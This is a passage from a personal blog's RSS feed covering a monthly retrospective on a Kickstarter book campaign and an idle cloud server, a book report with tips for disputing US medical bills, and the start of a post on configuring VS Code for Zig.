&lt;p>&lt;em>Excerpts from the govuk-puppet project are Copyright Crown Government Digital Service, used under the &lt;a href="https://github.com/alphagov/govuk-puppet/blob/main/LICENCE.md">MIT License&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Refactoring English: Month 3</title><link>https://mtlynch.io/retrospectives/2025/03/</link><pubDate>Wed, 12 Mar 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/03/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I launched &lt;a href="https://www.kickstarter.com/projects/mtlynch/refactoring-english/">my first Kickstarter project&lt;/a> and found Kickstarter surprisingly painless.&lt;/li>
&lt;li>I&amp;rsquo;m kind of on track to reach my Kickstarter goal, but I&amp;rsquo;ll need to get creative in raising the last 2/3rds.&lt;/li>
&lt;li>I&amp;rsquo;m soliciting suggestions for fun services to run on my 4x ARM CPU / 24 GB cloud server.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I launched &lt;a href="https://www.kickstarter.com/projects/mtlynch/refactoring-english/">my first Kickstarter project&lt;/a> and found Kickstarter surprisingly painless.&lt;/li>
&lt;li>I&amp;rsquo;m kind of on track to reach my Kickstarter goal, but I&amp;rsquo;ll need to get creative in raising the last 2/3rds.&lt;/li>
&lt;li>I&amp;rsquo;m soliciting suggestions for fun services to run on my 4x ARM CPU / 24 GB cloud server.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="complete-the-blogging-chapter-of-refactoring-english">Complete the blogging chapter of &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I decided to focus on the &lt;a href="https://refactoringenglish.com/chapters/commit-messages/">commit message chapter&lt;/a> instead and finished it on time.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Midway through writing the blogging chapter, I realized I could write about commit messages, and that would be a good chapter to share on dev-oriented social networks like Hacker News, /r/programming, and Lobsters.&lt;/p>
&lt;p>Unfortunately, the article was a huge miss on Hacker News and didn&amp;rsquo;t get much traction on /r/programming or Lobsters, which was disappointing but I knew was a possibility.&lt;/p>
&lt;h3 id="--begin-selling-pre-orders-for-refactoring-english">- Begin selling pre-orders for &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Started selling pre-orders on Kickstarter&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;h2 id="kickstarter-im-pleasantly-surprised">Kickstarter: I&amp;rsquo;m pleasantly surprised&lt;/h2>
&lt;p>I decided to do &lt;a href="https://www.kickstarter.com/projects/mtlynch/refactoring-english/">the pre-order for &lt;em>Refactoring English&lt;/em> on Kickstarter&lt;/a>. I&amp;rsquo;d never used Kickstarter before, and I was bracing myself for it to be a miserable experience.&lt;/p>
&lt;p>My typical experience with &amp;ldquo;creator platforms&amp;rdquo; is that they try to make their money by squeezing me for upsells rather than helping my project.&lt;/p>
&lt;p>I&amp;rsquo;m pleased to report that launching my first project on Kickstarter was surprisingly painless. They never asked me to pay for anything at all. They do a good job of aligning incentives so that they make their money helping projects raise money rather than milking their project creators via upsells.&lt;/p>
&lt;p>All in all, it took me six to eight hours of work on Kickstarter to fill out all the paperwork, verify my banking information, and create the public-facing text, video, and images.&lt;/p>
&lt;p>I like the Kickstarter model for this project. If I were to do regular pre-orders, I&amp;rsquo;d be in an awkward position if I found myself three months in with not enough customers. I&amp;rsquo;d have to refund everyone even though I did three months of work. I appreciate that Kickstarter explicitly tells backers that they&amp;rsquo;re paying for the ride. The creator should make their best effort to deliver, but the backers accept the possibility that things might not work out.&lt;/p>
&lt;p>I also like that I can set a goal and make the project all or nothing. I set the goal to $5k because I felt like it&amp;rsquo;s ambitious but doable, and it&amp;rsquo;s high enough to give me hope that I could still make another $10-20k after I publish the book. If I fall short of the goal and get nothing, I&amp;rsquo;ll be disappointed but take solace in the fact that I&amp;rsquo;m getting a concrete &amp;ldquo;no&amp;rdquo; on this idea.&lt;/p>
&lt;h3 id="except-for-kickstarter-spammers">Except for Kickstarter spammers&amp;hellip;&lt;/h3>
&lt;p>The one downside of Kickstarter is spam. A ton of spammers must watch Kickstarter because I get about three new emails per day offering some scammy way to help my campaign succeed. They start the conversation by posing (poorly) as an interested customer, and then they steer the conversation towards their friend I should pay to help me.&lt;/p>
&lt;p>












 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/03/ks-spam.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/03/ks-spam_hu_de696907d741f605.webp 300w, https://mtlynch.io/retrospectives/2025/03/ks-spam_hu_186be8a49379a7e6.webp 600w, https://mtlynch.io/retrospectives/2025/03/ks-spam_hu_6c3b336b3df95fba.webp 800w, https://mtlynch.io/retrospectives/2025/03/ks-spam.webp 820w'
 src="https://mtlynch.io/retrospectives/2025/03/ks-spam.webp" alt="Hello, An investor promoted your campaign to me, and I was immediately intrigued by your approach to improving writing for software developers. Your experience and success in blogging are impressive! I’d love to support the project. How do you plan to tailor the writing techniques for developers with varying levels of experience and expertise? Best regards, David" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The spammers start with an innocuous message that feigns interest in your product.&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/03/ks-spam2.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/03/ks-spam2_hu_441933afd928b17a.webp 300w, https://mtlynch.io/retrospectives/2025/03/ks-spam2_hu_c0bd134dd9e2778a.webp 600w, https://mtlynch.io/retrospectives/2025/03/ks-spam2_hu_37714eabf6597fd6.webp 800w, https://mtlynch.io/retrospectives/2025/03/ks-spam2.webp 822w'
 src="https://mtlynch.io/retrospectives/2025/03/ks-spam2.webp" alt="Hi Michael, Great ! Have you considered reaching out to a creator like yourself on Kickstarter for advice on how they reached their potential goal? I have a friend who&amp;#39;s a successful creator on there, and I&amp;#39;m not sure if you&amp;#39;re interested, but it might be worth connecting with him for some insights. It could be really helpful for your campaign! Wishing you success with your campaign! Best wishes, David" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&amp;hellip;and then they shift the conversation to their “friend” who offers paid Kickstarter publicity services.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;/p>
&lt;h2 id="fundraising-how-its-going-so-far">Fundraising: How it&amp;rsquo;s going so far&lt;/h2>
&lt;p>As of today, there have been $1,585 in pledges to my Kickstarter project, so I&amp;rsquo;m at 31% of my goal.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/03/ks-dashboard.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/03/ks-dashboard_hu_71941106f15044c1.webp 300w, https://mtlynch.io/retrospectives/2025/03/ks-dashboard_hu_9f96f11d6284e52e.webp 600w, https://mtlynch.io/retrospectives/2025/03/ks-dashboard_hu_603a91f4d72e2f05.webp 800w, https://mtlynch.io/retrospectives/2025/03/ks-dashboard.webp 1098w'
 src="https://mtlynch.io/retrospectives/2025/03/ks-dashboard.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>At 24% through the fundraising window for &lt;a href="https://www.kickstarter.com/projects/mtlynch/refactoring-english/">my Kickstarter project&lt;/a>, I&amp;rsquo;ve reached 31% of my revenue goal.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I launched the project on Friday, and it ends at the end of the month, so I&amp;rsquo;m on day 6 of 25 of the fundraising period (24% complete).&lt;/p>
&lt;p>It sounds good to be at 31% of my goal in only 24% of the timeline, but the problem is that I&amp;rsquo;ve played my best cards already. I announced the Kickstarter to the book&amp;rsquo;s mailing list, on social media, and on the little self-ads at the bottom of this blog.&lt;/p>
&lt;p>So, what else can I do?&lt;/p>
&lt;p>I can think of two remaining cards to play.&lt;/p>
&lt;p>The first is to get on the front page of Hacker News. That&amp;rsquo;s usually difficult to do, but I&amp;rsquo;m &lt;a href="https://hitthefrontpage.com">supposed to be the expert&lt;/a>. I feel confident that I can do it at least once, hopefully two or three times by the end of the month. I have a few post ideas that are basically like &amp;ldquo;bunts.&amp;rdquo; They won&amp;rsquo;t be homerun posts that reach the #1 spot, but I can probably write them in 5ish hours and land somewhere in the #10-20 range of Hacker News.&lt;/p>
&lt;p>My second idea is to reach out to companies that invest heavily in public writing to see if they&amp;rsquo;d be interested in sponsoring the project. I&amp;rsquo;ve never seen a book with corporate sponsors, so maybe this is a bad idea, but it seems like it could work.&lt;/p>
&lt;h2 id="side-project-what-should-i-run-on-my-hobby-cloud-server">Side project: What should I run on my hobby cloud server?&lt;/h2>
&lt;p>I recently got a free &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/">4x ARM CPU / 24 GB RAM Oracle Cloud server&lt;/a>. The problem is that this rather competent server is about 99% idle:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/03/server-grafana.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/03/server-grafana_hu_16204ff8da0a0d85.webp 300w, https://mtlynch.io/retrospectives/2025/03/server-grafana_hu_cc70937a3d9f7ee0.webp 600w, https://mtlynch.io/retrospectives/2025/03/server-grafana_hu_b85c6fe891078a9c.webp 800w, https://mtlynch.io/retrospectives/2025/03/server-grafana.webp 1111w'
 src="https://mtlynch.io/retrospectives/2025/03/server-grafana.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My poor server is so bored.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>So far, I&amp;rsquo;ve installed:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://woodpecker-ci.org/">Woodpecker CI&lt;/a>, which is helpful for projects I host on Codeberg, as &lt;a href="https://mtlynch.io/retrospectives/2025/02/#i-joined-codeberg-as-a-member">no commercial CIs support Codeberg yet&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://snowflake.torproject.org/">Snowflake proxy&lt;/a> to help people defeat censorship&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m looking for suggestions for fun things I could run on the server. My criteria are:&lt;/p>
&lt;ul>
&lt;li>I&amp;rsquo;d like it to be a service that&amp;rsquo;s fun to operate when I have time but not an obligation that demands my time.
&lt;ul>
&lt;li>I don&amp;rsquo;t want to spend time moderating something like a forum or chat room.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It could be a volunteer computing thing that supports a cause I like.
&lt;ul>
&lt;li>I wanted to run &lt;a href="http://warrior.archiveteam.org/">ArchiveTeam Warrior&lt;/a> to archive websites to the Internet Archive, but they &lt;a href="https://wiki.archiveteam.org/index.php/ArchiveTeam_Warrior#Can_I_run_the_Warrior_on_ARM_or_some_other_unusual_architecture?">don&amp;rsquo;t support ARM&lt;/a>.&lt;/li>
&lt;li>For a volunteer computing opportunity, I&amp;rsquo;d like it to be fun for the operator, the way it was fun to just watch SETI@home run if you donated compute time to the project.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I&amp;rsquo;d like it to be open-source.&lt;/li>
&lt;li>Oracle can blow away my server, and it shouldn&amp;rsquo;t impact anyone.
&lt;ul>
&lt;li>i.e., I don&amp;rsquo;t want anyone to lose data that they&amp;rsquo;re storing on my server.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I don&amp;rsquo;t want to mine cryptocurrency.&lt;/li>
&lt;/ul>
&lt;p>&lt;a href="https://github.com/shizunge/endlessh-go">endlessh-go&lt;/a> is a good example of what I&amp;rsquo;m looking for, and I&amp;rsquo;m planning to add that.&lt;/p>
&lt;p>If you have suggestions for fun projects that my server should run, let me know in the comments or shoot me an email.&lt;/p>
&lt;h2 id="interesting-links">Interesting links&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://www.chiark.greenend.org.uk/~sgtatham/quasiblog/commit-messages/">&amp;ldquo;Writing commit messages&amp;rdquo;&lt;/a> by Simon Tatham
&lt;ul>
&lt;li>Before writing &lt;a href="https://refactoringenglish.com/chapters/commit-messages/">my article&lt;/a>, I read a lot of blog posts about commit message practices, and I thought this was the best one.
&lt;ul>
&lt;li>Actually, it&amp;rsquo;s more accurate to say that all the others were bad, and Tatham&amp;rsquo;s was the only one that was good.&lt;/li>
&lt;li>Every other article focuses on style considerations that don&amp;rsquo;t matter (e.g., &amp;ldquo;the title &lt;em>must&lt;/em> be imperative voice&amp;rdquo;) or makes edicts without explaining the reasoning.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Based on the URL and site&amp;rsquo;s design, I thought the author was a university student and was surprised he had so much wisdom about commit messages. I dug deeper and realized &lt;a href="https://www.chiark.greenend.org.uk/~sgtatham/">the author&lt;/a> is the creator of the PuTTY SSH client and &lt;a href="https://www.chiark.greenend.org.uk/~sgtatham/putty/faq.html#faq-domain">just likes hosting everything on his friend&amp;rsquo;s server&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.hytradboi.com/2025/05c72e39-c07e-41bc-ac40-85e8308f2917-programming-without-pointers">&amp;ldquo;Programming without Pointers&amp;rdquo;&lt;/a> by Andrew Kelley
&lt;ul>
&lt;li>Andrew Kelley, founder of Zig, says he escaped his programming skill plateau by creating a style he calls &amp;ldquo;programming without pointers.&amp;rdquo;&lt;/li>
&lt;li>Kelley&amp;rsquo;s style is to represent his app&amp;rsquo;s state using a single struct that contains various data types the app needs, but none of the types can contain pointers. The top-level struct can contain arrays or hashmaps, but the objects they store can&amp;rsquo;t have pointers.
&lt;ul>
&lt;li>His groovebasin project &lt;a href="https://codeberg.org/andrewrk/groovebasin/src/commit/9022521c445c2ba398f2f646aa24241ecd1a715a/shared/Db.zig#L8-L49">is an example of this&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>He gives the example of storing strings. You can&amp;rsquo;t store an array of strings because that would be a pointer to a pointer. Instead, he creates a custom structure that aggregates all strings into a single array, and then he maintains a list of indexes into that array.&lt;/li>
&lt;li>Advantage of this technique:
&lt;ul>
&lt;li>It&amp;rsquo;s trivial to serialize and deserialize state. Serializing is just dumping the struct&amp;rsquo;s bytes into a file or network socket. Deserializing is just reading an entire file and mapping it back into the original struct.&lt;/li>
&lt;li>It&amp;rsquo;s easy to share state across environments (e.g., a Zig backend and a WASM frontend).&lt;/li>
&lt;li>Memory management also becomes simpler because you can free memory for each field of the top-level struct. You never have to iterate through lists or walk a tree structure to free memory for child objects.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I find the technique surprising because it feels like the indexes are essentially pointers without compiler support. If I heard this proposal from a random person, I&amp;rsquo;d dismiss it, but because I think Andrew Kelley is smart, I want to try this out.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://terminalbytes.com/reviving-kindle-paperwhite-7th-gen/">&amp;ldquo;Reviving an Old Kindle Paperwhite 7th Gen&amp;rdquo;&lt;/a> by Hemant Kumar
&lt;ul>
&lt;li>I desperately want to buy an old e-reader on eBay for $30 and make my own dashboard, but I don&amp;rsquo;t have any ideas for what to display on it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://defector.com/if-you-ever-stacked-cups-in-gym-class-blame-my-dad">&amp;ldquo;If You Ever Stacked Cups In Gym Class, Blame My Dad&amp;rdquo;&lt;/a> by Kit Fox
&lt;ul>
&lt;li>I woke up at 2 AM one night and couldn&amp;rsquo;t fall back to sleep, and I spent about two hours reading this article and watching cup stacking videos.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Launched pre-orders for &lt;em>Refactoring English&lt;/em> &lt;a href="https://www.kickstarter.com/projects/mtlynch/refactoring-english">on Kickstarter&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://refactoringenglish.com/chapters/commit-messages/">&amp;ldquo;How to Write Useful Commit Messages&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/zig-vscode-nix/">My Zig Configuration for VS Code&lt;/a> and created a &lt;a href="https://codeberg.org/mtlynch/zig-vscode-flake">Zig dev flake&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/book-reports/never-pay-the-first-bill/">my notes for &lt;em>Never Pay The First Bill&lt;/em>&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Fundraising on Kickstarter is surprisingly painless.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Reach my $5k Kickstarter goal for &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Publish the blogging chapter of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Reach the front page of Hacker News twice by the end of March.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;ul>
&lt;li>If you have suggestions for my Kickstarter project, and you&amp;rsquo;re not a spambot, shoot me an email.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Never Pay the First Bill by Marshall Allen</title><link>https://mtlynch.io/book-reports/never-pay-the-first-bill/</link><pubDate>Sat, 01 Mar 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/never-pay-the-first-bill/</guid><description>&lt;p>I enjoy finding ways to exercise my rights as a consumer and push back against corporate abuse, so this was right up my alley.&lt;/p>
&lt;p>The book was eye-opening and made me infuriated with how corrupt the medical system is in the US and how much it extracts wealth by fleecing the middle class.&lt;/p></description><content:encoded>&lt;p>I enjoy finding ways to exercise my rights as a consumer and push back against corporate abuse, so this was right up my alley.&lt;/p>
&lt;p>The book was eye-opening and made me infuriated with how corrupt the medical system is in the US and how much it extracts wealth by fleecing the middle class.&lt;/p>
&lt;p>My wife and I recently had a child, so my family&amp;rsquo;s medical bills are atypically high. Reading the book saved me thousands of dollars by alerting me of how common incorrect medical bills are and what to look for to avoid providers from overcharging you.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>It got me fired up about exercising my rights as a patient.&lt;/li>
&lt;li>It included several practical techniques for challenging unfair medical bills.&lt;/li>
&lt;li>The biggest bang-for-buck technique I&amp;rsquo;ve learned is simply comparing my medical bill to the explanation of benefits from my insurer.
&lt;ul>
&lt;li>It saved me &lt;a href="#compare-your-medical-bill-with-your-insurers-eob">over $3k on four separate incorrect bills&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>The author doesn&amp;rsquo;t have a good sense of which techniques are effective.
&lt;ul>
&lt;li>He sometimes says, &amp;ldquo;I&amp;rsquo;ve heard this works,&amp;rdquo; but I&amp;rsquo;d like to see a bit more information about what&amp;rsquo;s worth trying vs. what&amp;rsquo;s unlikely to get results.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>In a lot of the stories the author shares about his personal experience, he reveals to the provider that he&amp;rsquo;s an investigative reporter for ProPublica, so that gets him better outcomes with these techniques than the average person could achieve.&lt;/li>
&lt;li>It&amp;rsquo;s fairly &amp;ldquo;fluffy.&amp;rdquo; There&amp;rsquo;s about 40 pages of practical advice stretched out into a 300-page book.&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="compare-your-medical-bill-with-your-insurers-eob">Compare your medical bill with your insurer&amp;rsquo;s EOB&lt;/h3>
&lt;ul>
&lt;li>Compare the bill you receive from your provider with the explanation of benefits (EOB) you receive from your insurer.
&lt;ul>
&lt;li>If the provider&amp;rsquo;s bill lists a higher amount of patient responsibility than your insurer&amp;rsquo;s EOB, show the EOB to the provider and tell them to send you a corrected bill.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;em>[Editor&amp;rsquo;s note: This has been the most effective technique for me and has saved me a total of $3k+ on four separate incorrect bills in the last six months.]&lt;/em>&lt;/p>
&lt;h3 id="verify-the-cpt-codes-on-your-bill">Verify the CPT codes on your bill&lt;/h3>
&lt;ul>
&lt;li>Each charge on your medical bill requires a five-digit code called the &lt;a href="https://en.wikipedia.org/wiki/Current_Procedural_Terminology">Current Procedural Terminology (CPT) code&lt;/a>.&lt;/li>
&lt;li>Infuriatingly, regular Americans don&amp;rsquo;t have access to the definitions of CPT codes.
&lt;ul>
&lt;li>The American Medical Association holds the copyright to CPT codes, and &lt;a href="https://www.nytimes.com/2017/03/29/magazine/those-indecipherable-medical-bills-theyre-one-reason-health-care-costs-so-much.html">they make most of their money licensing the codes&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If your provider didn&amp;rsquo;t send an itemized bill with a CPT code for each charge, ask them for a version with CPT codes.&lt;/li>
&lt;li>When you have a bill with CPT codes, search online for each CPT code on your bill.
&lt;ul>
&lt;li>You won&amp;rsquo;t be able to access the official definitions unless you buy a $15/mo subscription from the AAPC, but you can find third-party sites that give decent explanations of the criteria for each code.&lt;/li>
&lt;li>Pay attention to objective criteria in the CPT code such as how long the provider must spend with the patient and whether they conducted a thorough history.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If the CPT code does not match the service the provider gave, ask your provider to see the medical records for the visit that justify the code.
&lt;ul>
&lt;li>If the medical records don&amp;rsquo;t support the code, ask your insurer to work with the provider on re-coding it.&lt;/li>
&lt;li>If the provider falsifies their medical records to upcode, there&amp;rsquo;s not much you can do to fight them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="negotiate-the-price-based-on-local-market-pricing">Negotiate the price based on local market pricing&lt;/h3>
&lt;ul>
&lt;li>As of January 1, 2021, hospitals were &lt;a href="https://www.cms.gov/priorities/key-initiatives/hospital-price-transparency/hospitals">supposed to publish pricing&lt;/a> in both machine-readable and human-readable formats.&lt;/li>
&lt;li>You can use hospital pricing to compare the price on your bill to the price other hospitals in your area charge for the same CPT code.&lt;/li>
&lt;/ul>
&lt;p>&lt;em>[Editor&amp;rsquo;s note: This hasn&amp;rsquo;t worked for me because all the hospitals in my area ignore their requirement to publish pricing. When I complain to their billing department, they say they don&amp;rsquo;t know what I&amp;rsquo;m talking about.]&lt;/em>&lt;/p>
&lt;h3 id="shop-around-for-medical-services">Shop around for medical services&lt;/h3>
&lt;ul>
&lt;li>Hospitals tend to charge the most for medical care.&lt;/li>
&lt;li>If you know the medical service you need and don&amp;rsquo;t need care urgently, you can get better a deal by asking for pricing at different clinics in your area.&lt;/li>
&lt;/ul>
&lt;h3 id="ask-to-pay-cash">Ask to pay cash&lt;/h3>
&lt;ul>
&lt;li>Ask providers for the cash price without insurance.
&lt;ul>
&lt;li>For some services, your out of pocket costs are lower by paying cash without going through your insurance&lt;/li>
&lt;li>The subtlety of paying in cash is that spending won&amp;rsquo;t count against your insurance deductible or out of pocket maximum, so it could come back to bite you depending on if you expect to hit your deductible or out of pocket max for the year.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="insurers-want-higher-medical-bills">Insurers want higher medical bills&lt;/h3>
&lt;ul>
&lt;li>As a patient, you expect that your insurer&amp;rsquo;s incentives are aligned with yours to prevent medical providers from overbilling you.&lt;/li>
&lt;li>In reality, there are several factors that incentivize insurance companies to drive medical prices higher.
&lt;ul>
&lt;li>The Affordable Care Act &lt;a href="https://www.cms.gov/marketplace/private-health-insurance/medical-loss-ratio">set limits&lt;/a> on how much insurers can profit from customer premiums, so insurers can&amp;rsquo;t make more than 20% profit.
&lt;ul>
&lt;li>This rule has the unintended consequence of benefitting insurance companies when medical costs go up nationwide.
&lt;ul>
&lt;li>e.g., if an insurer can only make 20% profit on $500M/yr in medical spending, then they make more profit in absolute terms if they allow providers to drive up medical spending to $700M/yr.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Insurers and providers often have intermingled businesses where the insurance company that&amp;rsquo;s supposed to be controlling costs &lt;a href="https://en.wikipedia.org/wiki/UnitedHealth_Group#Organizational_structure">is actually the same company providing medical services&lt;/a>.&lt;/li>
&lt;li>In cases where the patient is responsible for the majority of the cost, the insurer has no reason to invest resources into fighting an inaccurate bill, as the patient is the one who has to foot the bill.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="medical-bills-have-an-extremely-high-error-rate">Medical bills have an extremely high error rate&lt;/h3>
&lt;ul>
&lt;li>Most people don&amp;rsquo;t know how to verify that the charges on their medical bill match the services they received or that the prices match market rates, so medical providers often bill inaccurately.
&lt;ul>
&lt;li>Insurers are supposed to keep providers from overbilling, but they &lt;a href="#insurers-want-higher-medical-bills">don&amp;rsquo;t have strong incentives to catch errors&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Some providers routinely &amp;ldquo;upcode&amp;rdquo; for services.
&lt;ul>
&lt;li>For example, if they spent 10 minutes with a patient, they&amp;rsquo;ll bill using a code that says they spent 30 minutes because it means they can charge more.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Crystal Polson, an RN and professional bill reviewer Allen interviewed for the book said that when clients give her bills to examine, she finds billing errors in 80% of them.&lt;/li>
&lt;li>Providers have nothing to lose by overbilling because so many patients pay without questioning the bill.
&lt;ul>
&lt;li>The worst that can happen from the provider&amp;rsquo;s perspective is that a patient complains and only has to pay the correct amount.&lt;/li>
&lt;li>Maddeningly, there&amp;rsquo;s no recourse for you as a patient when providers routinely bill you incorrectly and you have to waste time correcting the errors.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>My Zig Configuration for VS Code</title><link>https://mtlynch.io/notes/zig-vscode-nix/</link><pubDate>Thu, 13 Feb 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/zig-vscode-nix/</guid><description>&lt;p>I finally found a solution that makes VS Code work consistently with Zig, so I&amp;rsquo;m sharing my setup in the hope that it saves someone else a headache.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working_hu_87a74283a295b8.webp 300w, https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working_hu_62c13e1adad6cd12.webp 600w, https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working_hu_4fb7af5cfebdaa32.webp 800w, https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working.webp 846w'
 src="https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Zig extension for VS Code working correctly&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Before I landed on a working solution, I kept running into issues with Zig version mismatches or VS Code completely failing to recognize Zig semantics and failing over to naive autocomplete.&lt;/p></description><content:encoded>&lt;p>I finally found a solution that makes VS Code work consistently with Zig, so I&amp;rsquo;m sharing my setup in the hope that it saves someone else a headache.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working_hu_87a74283a295b8.webp 300w, https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working_hu_62c13e1adad6cd12.webp 600w, https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working_hu_4fb7af5cfebdaa32.webp 800w, https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working.webp 846w'
 src="https://mtlynch.io/notes/zig-vscode-nix/vscode-zig-working.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Zig extension for VS Code working correctly&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Before I landed on a working solution, I kept running into issues with Zig version mismatches or VS Code completely failing to recognize Zig semantics and failing over to naive autocomplete.&lt;/p>
&lt;h2 id="managing-multiple-zig-versions-across-projects">Managing multiple Zig versions across projects&lt;/h2>
&lt;p>Zig has not yet reached a stable 1.0 release. If you&amp;rsquo;re working on software written in Zig, you have to use the version of the Zig compiler that matches that project.&lt;/p>
&lt;p>If you work on multiple projects, you need a way to juggle different versions of Zig on the same system.&lt;/p>
